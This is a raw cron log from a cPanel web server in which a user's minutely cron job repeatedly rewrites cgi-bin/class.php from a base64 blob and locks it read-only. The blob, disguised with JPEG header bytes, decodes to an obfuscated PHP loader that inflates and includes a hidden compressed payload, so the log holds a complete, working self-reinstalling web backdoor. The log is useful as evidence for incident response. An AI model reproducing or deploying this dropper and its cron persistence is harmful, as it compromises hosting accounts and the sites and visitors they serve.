Sep 10 20:58:01 server CROND[2314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:58:01 server CROND[2315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:59:01 server CROND[2726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:59:01 server CROND[2728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:59:01 server CROND[2727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:00:01 server CROND[3115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:00:01 server CROND[3117]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:00:01 server CROND[3121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:00:01 server CROND[3120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:00:01 server CROND[3118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:00:01 server CROND[3123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:00:01 server CROND[3119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:00:01 server CROND[3124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:00:01 server CROND[3122]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 21:01:01 server CROND[4051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:01:01 server CROND[4052]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 21:01:01 server CROND[4054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:01:01 server CROND[4053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:01:01 server run-parts(/etc/cron.hourly)[4052]: starting 0anacron
Sep 10 21:01:01 server run-parts(/etc/cron.hourly)[4073]: finished 0anacron
Sep 10 21:02:01 server CROND[4542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:02:01 server CROND[4543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:02:01 server CROND[4544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:03:01 server CROND[4931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:03:01 server CROND[4932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:03:01 server CROND[4933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:04:01 server CROND[5314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:04:01 server CROND[5315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:04:01 server CROND[5316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:05:01 server CROND[5712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:05:01 server CROND[5714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:05:01 server CROND[5716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:05:01 server CROND[5717]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 21:05:01 server CROND[5718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:05:01 server CROND[5719]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:05:01 server CROND[5715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:05:01 server CROND[5720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:06:01 server CROND[6555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:06:01 server CROND[6556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:06:01 server CROND[6557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:07:01 server CROND[7044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:07:01 server CROND[7045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:07:01 server CROND[7046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:08:01 server CROND[7431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:08:01 server CROND[7432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:08:01 server CROND[7433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:09:01 server CROND[7825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:09:01 server CROND[7826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:09:01 server CROND[7827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:09:01 server CROND[7828]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 21:10:01 server CROND[8218]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:10:01 server CROND[8235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
